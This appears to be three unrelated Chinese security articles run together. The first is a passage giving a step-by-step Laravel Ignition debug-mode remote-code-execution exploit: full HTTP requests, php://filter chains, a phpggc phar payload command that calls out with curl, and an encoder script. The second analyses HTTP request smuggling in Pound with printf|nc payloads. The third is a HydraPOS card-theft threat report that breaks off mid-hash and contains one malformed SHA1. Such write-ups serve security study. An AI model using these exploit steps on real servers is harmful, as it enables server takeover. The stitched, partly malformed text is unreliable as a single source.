可以看到有三处POCPOCPOC被写入（最后一处在stack中，因此如果POC超过15位，则从16位开始变成...，也就是123456789012345...）。可是phar反序列化需要一个干净的phar文件，而这个文件在POC的两侧都有垃圾字符。因此下面需要尝试把垃圾字符去掉，只保留我们的POC
### 0x01 去掉垃圾字符
这里漏洞发现者想要通过`php://filter`过滤器来对文件进行一些操作。
这里主要的思路是先把我们的poc进行一些编码，最后再使用`php://filter/write=`来进行相应的解码，解码的同时去掉log中的其他字符。
为了方便后续的操作，首先是通过多次base64解码来清空log中之前的信息。第一次base64解码会把原文件变成乱码，再进行多次解码即可基本清空文件。可能一次请求后会抛出一个base64解码的warning到日志文件中。只需要再请求一次即可。
`php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=xxx/storage/logs/laravel.log`
然后就是去掉发送poc时其他的垃圾字符，这里会用到一些编码知识。主要就是`utf-16le`和`utf-8`的区别，`utf-16le`是两个字节代表一个字符（le是指小端模式），`utf-8`是一个字节代表一个字符。利用这个特性，我们可以把一串`utf8`字符当作`utf16`，在这样转换时字符串就会变成非ascii的乱码。由于这些是非ascii字符，因此使用base64解码时会被清空。php过滤器中刚好存在这些过滤器，即`php://filter/read=convert.iconv.utf-16le.utf-8/resource=xxx.txt`，是指把xxx.txt的内容视作`utf16`，并将其转换成`utf8`。
综上所述，我们可以先把POC
base64编码，然后进行utf-8转utf-16le。在读log文件时先进行utf-16le转utf-8，这样之前的字符都会变成乱码而POC不会，然后使用base64解码，就会去掉乱码，只剩下POC明文。
构造payload的过程就是`明文->base64->utf8转utf16le`，下面看如何构造这个payload，也就是utf-8如何转成utf-16le，这里做个实验，看看两者的区别。
<?php
$filename = "php://filter/write=convert.iconv.utf-8.utf-16le/resource=kkk4.txt"; //utf-16le编码写入文件
//$filename = "kkk4.txt";//utf-8写入文件
file_put_contents($filename, "<? abc$%^&*();");
两种编码写入的文件依次如下，可以发现utf-16le编码会在utf-8的字符后加上一个`\00`空字节。
utf-8转utf-16le需要在每个字符 **后面**
加上一个`\00`字节，因此可以在HTTP请求中加上`%00`替代。不过`%00`会导致file_get_contents()报错，因此要使用别的方法。
这里就要介绍`convert.quoted-printable-encode`过滤器，它可以把所有的不可见字符转换成`=xx`，比如把`\00`转换成`=00`。
这是思路就清晰了，先举个简单的例子，首先构造一个代表`poc`base64编码的字符串`cG9j`的payload：
`asdfaasdabcdc=00G=009=00j=00defasdfasdf`，可以看到两侧都是垃圾字符。
读取时，使用如下的过滤器：
`php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=xxxx/laravel.log`，最终即可把poc还原出来。
在实际利用时有不少坑点
1.之前说了`laravel.log`文件中有三处会显示我们的payload，其中最后一处当payload过长时，从第十六个字符开始都会省略成`...`，因此我们要保证第十六个字符不在`=`的后两位，比如`=0.`、`=..`会导致`quoted-printable-decode`过滤器返回空结果。因此需要在payload前填充15个字符，让第三处不显示payload即可。
2.由于`convert.quoted-printable-decode`会对`=`当作特殊字符，因此base64结尾可能有的`=`会造成解析出错（原因与2一样），因此需要手动把base64编码后的`=`替换成`=3D`，对于base64编码中的`+`最好也替换成`=2B`。
3.发送poc之后，使用过滤器来解析log时，如果laravel.log最终的字节数为奇数，那么在`utf-16le->utf-8`时又会抛出一条新日志，这样后续的base64
decode就会失败了。由于我们的poc会在log中出现两次，因此所有poc字符数必然是偶数个，影响log文件字符数奇偶的只能是log框架文本本身的字符数。只要在我们发送poc之前提前发送一个偶数文件名的请求，这样最终的log中就会有两次log框架本身的字符，因此必为偶数。
### 0x02 Attack
#### step0 清除原log中的字符
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 217
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log
#### step1 发送偶数文件名的请求
（对应坑3）
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=11
#### step2 发送poc
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2401
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=xxxxx
`xxxxx`就是payload，通过以下步骤获得：
./phpggc monolog/rce1 system "curl http://ip/success" --phar phar -o php://output | base64
把输出的结果经过下面的python脚本转换一下：
from binascii import b2a_hex
payload = "xxx" # base64 payload
armedPayload = ''
for i in payload:
i = "="+b2a_hex(i.encode('utf-8')).decode('utf-8').upper()
armedPayload += i+"=00"
print("123456789012345"+armedPayload)#前面加15个字符，对应坑1
这里输出的结果直接放到上面的文件名中。
#### step3 清空垃圾字符，poc解码成phar文件内容
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 310
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
#### step4 触发phar反序列化
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=123¶meters[viewFile]=phar:///xxxx/laravel/storage/logs/laravel.log
注意这里的路径要换成`laravel.log`的绝对路径。
### 0x03 思考
在刚拿到这个漏洞时仅看了漏洞通告以及git补丁，先通过Ignition文档了解了Solution的作用和调用方式，然后发现Solution似乎只有在`blade`模版出错时才会被调用到，可是没法手动指定模版，所以这个洞也就没有找到入口。看了眼exp的url，发现竟然是诡异的`/_ignition/`，这个路由在Laravel给的Controller中是没有的。翻了下Ignition的源码，发现这个项目动态添加了路由并注册了几个Controller，最后才到了调用点。
这个漏洞的主要攻击方式就是phar，不过最有意思的点是利用`php://filter`伪协议将一个部分可控的文件变成完全可控，这个漏洞是先通过`file_put_contents()`写文件时用`php://filter/write=xxx`来进行解码，其实也可以使用`php://filter/read=xxx`在`file_get_contents()`处进行解码。
对于这个漏洞，发现者还提出了一种利用FTP被动模式攻击PHP-FPM的攻击思路。第一次使用`file_get_contents()`请求恶意ftp请求，获取payload，然后通过`file_put_contents()`结合FTP被动模式，把上面的payload发送到php-fpm的端口实现RCE。
这里贴两篇文章，以后再细说，留个坑。：）
[技术干货 | LARAVEL <= V8.4.2
调试模式下的RCE分析](https://mp.weixin.qq.com/s?__biz=MzU2MTQwMzMxNA==&mid=2247499853&idx=1&sn=225ce332407f61a2181b636e86545dab&chksm=)
[hxp2020的resonator题解分析](https://www.anquanke.com/post/id/226750)
### 0x04 参考
[Laravel <= v8.4.2 debug mode: Remote code
execution](https://www.ambionics.io/blog/laravel-debug-rce)
[PHP Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
[Using solution providers](https://flareapp.io/docs/solutions/using-solution-providers) | 社区文章 |
`本文为2018年十大网络黑客技术题名文章，欢迎读者来读`
### Pound?
Pound是一个开源HTTP负载均衡器，通常用作`SSL/TLS`终端（在http后端处理https与证书）。 在过去，这个工具被用于为网站添加SSL。
如果访问官方网站，你会看到`pound`被描述为负载均衡器、反向代理、SSL封装器以及删除工具：
> HTTP/HTTPS处理程序：Pound会进行验证请求操作并接受格式正确的请求。
项目活动一直被拖延进行，2018年初发布的最后一个CVE引发了各界对某些项目的关注。`Debian`项目删除了软件包，不仅仅是因为其被爆出可用的CVE。新版本的openSSL的兼容性和缺乏项目活动对公司决策起到了关键的作用。
### 固定版本的Pound
如果我们现在检查此软件包的`Debian`页面状态，我们会发现该软件包已被删除，并且我们无法在任何开发存储库中找到它。这里存在三个安全隐患：版本过时、忽略了安全问题的稳定性并且是jessie（oldstable）其中之一。在我自己的测试过程中，我发现我无法在jessie上安装它，进一步测试后我发现了其内部存在的安全问题。
如果用户使用了`Suse`包，则可以使用安全更新操作。
在官方项目介绍页面上，`officiel`稳定版现在是`Pound-2.8`并包含修复程序。
第一个固定版本是2.8a，并且有很长一段时间只有这个实验版本可用。
版本2.8的源代码差异不是很大:([fossies1](https://fossies.org/diffs/Pound/2.7_vs_2.8/http.c-diff.html)
| [fossies2](https://fossies.org/diffs/Pound/2.7_vs_2.8/http.c-diff.html) |
[fossies3](https://fossies.org/diffs/Pound/2.7_vs_2.8/config.c-diff.html))
。 有趣的是，这些版本包含了HTTP Smuggling问题，包括功能的删除（动态扩展）和安全语法过滤器等。
### CVE-2016-10711
[官方描述](https://www.cvedetails.com/cve/CVE-2016-10711/)如下：
> 在2.8a之前的Apsis Pound允许通过自行设计的消息头进行request smuggling
事实上，这里大多数的问题都是HTTP解析器常见的错误（还有一些罕见的问题，比如NULL字符处理）。在过去的几年里，我在许多项目中报告了类似的问题，所以研究这些攻击是值得的。
正如后面所解释的那样，作为SSl工具的`Pound`并不是smuggling攻击中最关键的部分。
在反向代理缓存或常见HTTP服务器上执行此类攻击对攻击者来说更有价值。
但是整个“HTTPsmuggling攻击”范例均是基于链接的多语法错误，所以每个用户均可以检测出非正常的消息头内容。
#### 1-支持双倍长度内容：
任何带有2个`Content-Length`标头的请求都必须被拒绝。
[RFC7230 section 3.3.2](https://tools.ietf.org/html/rfc7230#section-3.3.2)
> 如果收到的消息具有多个Content-Length头，其字段值包含相同的十进制值，或者单个Content-> Length头，其字段值包含相同十进制值的列表（例如，“Content-Length” ：42,42），表示消息处理器生成重复的Content-> Length头字段，此时接收者必须拒绝该消息并设置其为无效或用单个有效Content-> Length替换重复的字段值。在确定邮件正文长度之前包含该十进制值的字段。
[RFC7230 section 3.3.3](https://tools.ietf.org/html/rfc7230#section-3.3.3)
> 如果在没有Transfer-Encoding的情况下收到消息并且Content-Length头字段具有不同字段值，则消息无效且接收者必须将其处理为错误。
> 如果这是请求消息，则服务器必须以400（错误请求）状态代码响应，然后关闭连接。
在Pound中，如果你发送如下请求：
Content-Length: 0
Content-Length: 147
返回结果：`Size of Body = 0`
如果你发送：
Content-Length: 147
Content-Length: 0
返回结果：`Size of Body = 147`
官方结果会将其处理为错误。 如果HTTP通信中的前一个`actor`包含相同的情况，那么用户将面临一个smuggling攻击隐患。
我们将在下面看到关于HTTP漏洞的一些示例，其目标通常大小不同，一个分析者发现3个请求，另一个认为只有2个。
#### 2）Chunks会根据消息长度进行优先考虑
这里我们再次讨论[RFC7230第3.3.3节](https://tools.ietf.org/html/rfc7230#section-3.3.3)，但另一点：
如果收到包含`Transfer-Encoding`和`Content-Length`字段的消息，则`Transfer-Encoding`将覆盖整个`Content-Length`。 这样的消息表示了执行请求smuggling响应拆分操作，并且应该作为错误进行处理。
因此我们这里的设置是拒绝该消息（现在大多数服务器都是这种情况）。倘若不进行拒绝操作，则分块传输在任何Content-Length头上都具有优先级。
使用Pound是令第一个消息头具有读取优先级。
我们来看一个例子吧。 在这里，我让`Pound Server`在`127.0.0.1`上侦听`HTTP`端口8080。
（所以没有HTTPS支持，但相信我在HTTPS模式下所有的攻击都是一样的，你甚至可以使用`openssl_client`而不是`netcat`来输出一些`printf`输出）。
在Pound中，任何端口均可以与HTTP服务器（后端）进行通信。
* 我使用printf来反馈HTTP查询结果。由于我想要对所有字符进行完全控制，所以我没有使用curl或wget。
* 我将所有查询链接在一个单独的字符串中，然而我没有等待每个查询之间的响应，这称为`HTTP pipeline`，然而没有pipelining服务器上的支持（这里是Pound）我什么也做不了。
* 我将此字符串（HTTP查询）发送到netcat（命令nc），这是一个非常低级别的命令，它可以控制目标IP和端口的tcp/ip连接。
* 这与使用浏览器或curl发送HTTP查询相同，不过我可以对消息头进行完全控制。
* 攻击者的目标是发送不同数量查询的消息，这是技术目标。 这个功能是绕过过滤器或领缓存失效。像XSS的`alert()`功能，如果你的有效响应数量出现错误，那么这里就不仅仅是功能问题，而是安全隐患。
* 如果在测试环境中进行使用，那么我们应该跟踪Pound在后端发送的请求，例如使用`Wireshark`。 管道的每个请求将单独发送到后端，而不是发送到管道中。
# 2 responses instead of 3
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-length:56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
有3个查询能进行有效的解析：
第一个：
GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
**Content-length:56[CRLF]** (ignored and usually not send back to the backend)
Transfer-Encoding: chunked[CRLF]
Dummy:Header[CRLF]
[CRLF]
0[CRLF] (end of chunks -> end of message)
[CRLF]
第二个：
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]
第三个：
GET /tests HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]
对于无效的解析操作（这里是Pound），只有2个查询，第一个是：
GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
Content-length:56[CRLF]
**Transfer-Encoding: chunked[CRLF]** (ignored and removed, hopefully)
Dummy:Header[CRLF]
[CRLF]
0[CRLF] (start of 56 bytes of body)
[CRLF]
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF] (end of 56 bytes of body, not parsed)
#### 传输失败
[RFC7230 section 3.3.3](https://tools.ietf.org/html/rfc7230#section-3.3.3)
> 如果请求中存在Transfer-Encoding头字段并且分块传输编码不是最终编码，那么我们无法地确定消息体长度;
> 服务器必须使用400（错误请求）状态代码进行响应，然后关闭连接。
使用`Transfer-Encoding：chunked, zorg`可以使我们没有错误400代码。
#### 标头中为NULL - >concatenation
这是一个原始并且罕见的问题。
像大多数HTTP服务器一样，Pound用C语言编写，C字符串以NULL字符（\ 0）结尾。
在HTTP请求中查找NULL字符会出现错误，但有时解析器不会检测到NULL字符，因为解析的行被错误地解释为C字符串。
使用Pound，一旦在消息头中遇到NULL字符，解析器将继续使用下一行的消息头。
# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
这是使用`Double Content-length Support`的具有另一个处理方法。 如果代理链中的前一个请求不支持`double Content-Length`，但可以支持NULL字符，则可以使用此方法。
# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 51\r\n'\
'Content-length: 0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
# 3 responses instead of 2 (2nd query is unmasked by pound)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
如果你复现到这里，你可以比较最后两个例子。 在第一个例子中，我们进行了一个恶意的分块传输，在最后一个例子中我们使用`ops-fold`语法。
使用wireshark来比较行为和传输到后端的一些消息语法。
# chunk mode not applied
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked,zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
# chunk mode applied, and '\r\n zorg\r\n' ops-fold transmitted
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
' zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
#### 5）传输问题
这种异常的`ops-fold`语法传输可能带来安全隐患，之后它在版本2.8中被删除。 通常，支持ops-fold的反向代理不会进行语法传输（将所有信息都体现在一行数据上）。
以下是与之类似的传输问题（遗憾的是这些漏洞没有被修复）：
printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0000000000000000000000000000042\r\n'\ '\r\n'\ 'GET /tmp/ HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
这并不是无效的查询。 第一个块大小是六进制`42`，所以它是66个字节。 第二个块是块结束标记，最后两行是`0 \ r \ n \ r \ n`。 `GET
/ tmp /`查询不存在，第一个块中没有对它进行解释。
但如果使用wireshark，我们将检测到此消息按原样传输，`0000000000000000000000000000042`未重新更新为`42`或`042`。麻烦的是，对于某些后端（块大小属性截断问题），此语法有时会出现问题，比如将`0000000000000000000000000000042`读取为`00000000000000000`，并错误地将其检测为块结束标记，然后错误的发现`GET
/ tmp /`查询。
当然这里的安全问题是出现在后端，而不是Pound。 其他一些传输问题已得到修复，例如下列语法：
GET /url?foo=[SOMETHING]HTTP/0.9 HTTP/1.1\r\n or GET /url?foo=[SOMETHING]Host:example.com, HTTP/1.1\r\n
使用`[SOMETHING] = BACKSPACE`或`CR`或`BELL`或`FORM FEED`或`TAB`。
### 安全性
错误的HTTP语法解析是一个安全隐患，主要问题是HTTP请求网络中的任何危险HTTP请求都会成为攻击源头，之前的请求会成为受害方。
遭受Request拆分的请求会错误地读取无效的内容并从中提取查询结果。在这之前并没有任何请求可以过滤此查询。
这就是为什么RFC对于消息大小的语法解析有最低的要求。
在安装过程中，Pound将成为SSL终端，通常是链中的第一个服务器端请求。
在这个位置，请求拆分攻击很难被利用。也许它可能被用来攻击客户端的转发代理，但它不能用于攻击后端。
_____________________________ _________________________________
| Client Side | | Server Side |
Browser ---> Forward proxy ------Internet---> Pound ---> Varnish ---> Nginx
NAIL? <================== HAMMER?
NAIL? <==== HAMMER?
其他出现在Pound前面的HTTPS负载均衡器会更具危险，因为Pound可以用来向这些代理发送一些额外的响应（WAF?）。
从攻击者的角度来看，最有效的攻击点是传输问题，其中的消息头由Pound传输到后端。
然而在后端我们经常会遇到一些问题，所以向后端发送错误的查询并不是明智之举。
这里存在两个主要的漏洞，双内容长度和不考虑分块优先级，这些问题在后端比在前端更危险。 在我看来，这减少了对这些问题的利用的影响。
然而由于代理没有进行任何拆分操作，就只是转发了这些危险的代码，从而导致了这些恶意行为的产生。
### 如何使用Pound？
首先你可以使用Pound 2.8， 或带有补丁的2.7.x。
如果用户的发行版上没有固定版本，那么我们可以尝试编译Pound 2.8。 我在jessie上编写了几个Pound的汇编，并且难度不大
(configure/make/make install)。
### 参考链接
* Video [Defcon HTTP Smuggling](https://www.youtube.com/watch?v=dVU9i5PsMPY)
* [Defcon support](https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Regilero-Hiding-Wookiees-In-Http.pdf)
* Video [Defcon demos](https://www.youtube.com/watch?v=lY_Mf2Fv7kI)
本文为翻译稿件，翻译自：https://regilero.github.io/security/english/2018/07/03/security_pound_http_smuggling/ | 社区文章 |
# 【技术分享】HydraPOS活动：巴西黑客已经收集了至少140万信用卡数据
|
##### 译文声明
本文是翻译文章，文章来源：tempestsi.com
原文地址：<https://sidechannel.tempestsi.com/hydrapos-operation-of-brazilian-fraudsters-has-accumulated-at-least-1-4-million-card-data-b05d88ad3be0>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
****
网络犯罪领域目前正在经历着大规模攻击武器逐渐积累增长的过程，这些大规模网络攻击武器一般都与国家和政府有关，他们往往会使用这些网络武器来进行网络间谍活动。
在某些情况下，你可能会认为那些只是电影里的场景，现实中并不存在，但事实并非你所想象的那样，电影中的场景也有可能出现在你的现实生活里。比如说之前曾掀起轩然大波的方程式组织（
**Equation Group**
），作为一个情报机构，他们不仅会使用大规模攻击工具以及高质量的恶意软件来进行网络间谍活动，而且还会有针对性地窃取目标的支付卡数据。
**HydraPOS活动被发现**
****
在一次常规的安全分析过程中，安全公司Tempest的威胁情报团队发现了一系列恶意软件样本。乍看之下，这些恶意软件似乎与一个针对巴西商人的普通攻击活动（
**利用了POS系统**
）有关。大家需要注意的是，这有可能是攻击者所采用的一种策略，因为某些有特殊目的的攻击者会利用看似平常的攻击活动来掩盖自己的大规模网络攻击。研究人员在进行了进一步挖掘之后，终于发现了他们的主要活动：在这四年里，他们不仅
**收集了数十款网络攻击工具以及上百款恶意软件** ，而且他们还积累了超过140万条支付卡数据，其中包括信用卡、借记卡和购物礼品卡等等。
Tempest的研究人员将此恶意活动标记为了 **HydraPOS**
，这个活动的目的非常多。在攻击的初始阶段，HydraPOS的目的是通过利用超市系统的漏洞来收集支付卡数据。但是随着时间的推移，HydraPOS开始将银行数据以及电子商务访问凭证添加进了自己的“目标名单”之中。
HydraPOS活动中涉及到了多款恶意软件，这些恶意软件拥有好几百种不同的构建版本，其中最著名的第三方恶意软件工具当属Kaptoxa（又名[Trojan.POSRAM](http://artemonsecurity.com/20140116_POS_Malware_Technical_Analysis.pdf)），而这款工具曾在2014年攻击了大型零售商塔吉特公司。除此之外，HydraPOS恶意活动所使用的其他恶意程序至今尚未公布。
**感染技术细节**
****
HydraPOS所使用的恶意软件感染技术是基于大规模扫描实现的，这种方式通常会涉及到巴西电信通讯公司整个宽带服务的覆盖范围。该活动所使用的扫描工具为
**VNC-Scanner**
（或由攻击者开发的其他功能类似的软件），这些工具可以搜索包含错误配置的常用远程访问服务以及已过期的软件版本，例如VNC、RDP、Radmin和SSH。攻击者一般会对这一阶段中所识别出的目标进行暴力破解攻击（或利用已知漏洞进行攻击）以获取访问密码。除此之外，HydraPOS背后的操作者还会使用网络钓鱼攻击来感染目标用户。
**HydraPOS能对目标网络做什么？**
****
当攻击者获取到目标用户计算机的访问权之后，HydraPOS攻击者可以使用多种方法来安装新型恶意软件并提取数据。除此之外，他们还可以实现对目标系统环境的持久化感染。
利用远程管理工具与目标系统建立网络连接还允许他们对目标系统进行各种非法操作，但具体所能执行的活动还取决于攻击者所能拿到的访问权限等级。
当攻击者通过钓鱼攻击来实现感染payload时，需要将恶意文件发送给目标用户，然后激活恶意软件，之后攻击者就可以通过远程桌面（以管理员权限）开启一条通信信道并实现其他的恶意操作。
HydraPOS所使用的钓鱼信息样本如下图所示：
根据不同目标环境的特性，最新版本HydraPOS代码的逻辑定义了具体使用哪一款工具来收集访问凭证以及支付卡数据。研究人员通过分析之后，已经发现了Kaptoxa恶意软件（可以在目标计算机进行资金交易的过程中从内存提取数据）从2013年开始所收集到的数据集，
**而这些数据早已在暗网论坛中被出售了** 。
虽然在交易通信处理的过程中，支付卡数据是经过加密的，但POS软件本身就需要对交易认证过程中的信息进行解密。像Kaptoxa这种专门收集内存数据的恶意软件，就是用来帮助攻击者确定最有价值的信息到底位于内存中的哪一个部分。这样一来，这种恶意软件就可以在获取到有价值的数据之后将它们保存在文件中，然后发送给攻击者的命令控制（C&C）服务器。
但是研究人员还发现，在HydraPOS近期的攻击活动中，内存数据收集的行为似乎已经整合进了HydraPOS的代码之中，这也就意味着攻击者对于Kaptoxa的依赖将会减少，甚至会彻底抛弃Kaptoxa。
HydraPOS还使用了其他的第三方恶意软件来收集数据，例如“ **Track 2 sniier.exe**
”（一款键盘记录工具和内存数据收集工具）。除此之外，攻击者还是用了自己开发的恶意软件，例如名叫“ **pdv.exe** ”的键盘记录器、文件名为“
**explorer.exe** ”的内存收集工具和文件名为“ **win.exe** ”的电子商务凭证收集器。
这些恶意软件可以直接将收集到的数据发送到攻击者的命令控制服务器，也可以通过电子邮件或根据攻击者的远程指令来进行发送，具体取决于目标系统的环境以及架构。
**命令控制服务器（C &C）**
****
Tempest的威胁情报团队已经发现了七台攻击者在HydraPOS活动中所使用的服务器，其中有一部分存储了1,454,291条支付卡数据记录，而最早的记录收集于2015年。因此，HydraPOS活动所收集到的支付卡数据数量可能会更加庞大，而根据开源情报数据和调查显示，有证据可以证明HydraPOS攻击活动至少从2013年就已经开始了。
其他的C&C服务器中包含有攻击者所使用的网络武器，其中包括远程管理工具、暴力破解工具以及用于收集电子邮件地址的工具等等。除此之外，服务器中还存储了HydraPOS攻击者自行研发的工具，例如“FindInfoTxt”（该工具可根据服务码来对支付卡数据进行归类，并筛选出额度最高的以及最容易攻击的支付卡）以及“Gerenciador
Sitef”（该工具可以检测受感染系统的状态并向其发送控制命令，功能类似一个管理后台）。
Gerenciador Sitef的运行界面如下图所示：
有关HydraPOS武器库的更多详细数据请参考本文末尾给出的附录。
**附录 & IoC**
****
**攻击者所使用的合法远程管理工具**
-RealVNC: 客户端/ 服务器端VNC.
-ThighVNC: 客户端/ 服务器端VNC.
-NVNC: 服务器端VNC.
-Ammyy: 客户端/ 服务器端（用于远程管理）
-Bitvise: 客户端/ 服务器端SSH.
**第三方恶意工具**
-VNC-Scanner:搜索存在VNC漏洞的设备，并利用漏洞实施攻击。
-Fast RDP Brute: 使用暴力破解攻击获取RDP系统的访问凭证。
-VUBrute: 使用暴力破解攻击获取VNC系统的访问凭证。
-DUBrute: 使用暴力破解攻击获取RDP系统的访问凭证。
-LameScan: 使用暴力破解攻击获取Radmin系统的访问凭证。
-Advanced IP Scanner: 针对RDP和Radmin系统的网络扫描器及木马安装器。
-Sanmao Email Collector: 收集网站中的电子邮件地址。
-Sanmao Email Scraper: 收集扫描工具中的电子邮件地址。
-Sanmao SMTP Mail Cracker: 针对电子邮件的暴力破解工具。
**HydraPOS攻击者开发的工具**
-FindInfoTxt：根据服务码（Service Code）对支付卡数据进行分类，可提取银行识别码（BIN）， **VirusTotal目前还无法检测到** 。
**MD5:**
3d05a4d2ddf9fa1674579b15d5980c26
**SHA1:**
24ce8i328b44658f0db21dac25f109c57eeea5e
**SHA256:**
d88b82e936adf47778826dd23886c9288e807f389a242bfb5a0f6e4fdc8674ac
-Gerenciador Sitef:可对受感染主机进行实时分析与监控的控制面板，并且还可以向目标主机发送控制命令， **VirusTotal目前还无法检测到** 。
**MD5:**
e4755ce3c7ee50a08a8902e9fa978588
9f82da18f8591749e212efe6dccca45b
7c513ea612f05774593c916487791bb7
31dbef6f3027a4048d8dabc756172043
a172ebf8d867282027db1ef0cd08a815
8805d1d9530c1b9943d1089715e81faf
**SHA1:**
903e41db1daa11665b28d06e8b7a417e367b5fe9
637820e583b5de7f17fa674341e2fc0448269758
f809c37bb465a69d37b46cfb902ef9336c3bef19
fce01e84cdca3315e1955ec7a97261546a530ca7
c29e69d088f6836506d529d51dbd6960f6e173c2
385026cc6e70621820db13d475a24292aa72bdeb
**SHA256:**
90d0ccb265b27fe8e656058927e044424652c9086e42f93fdb112
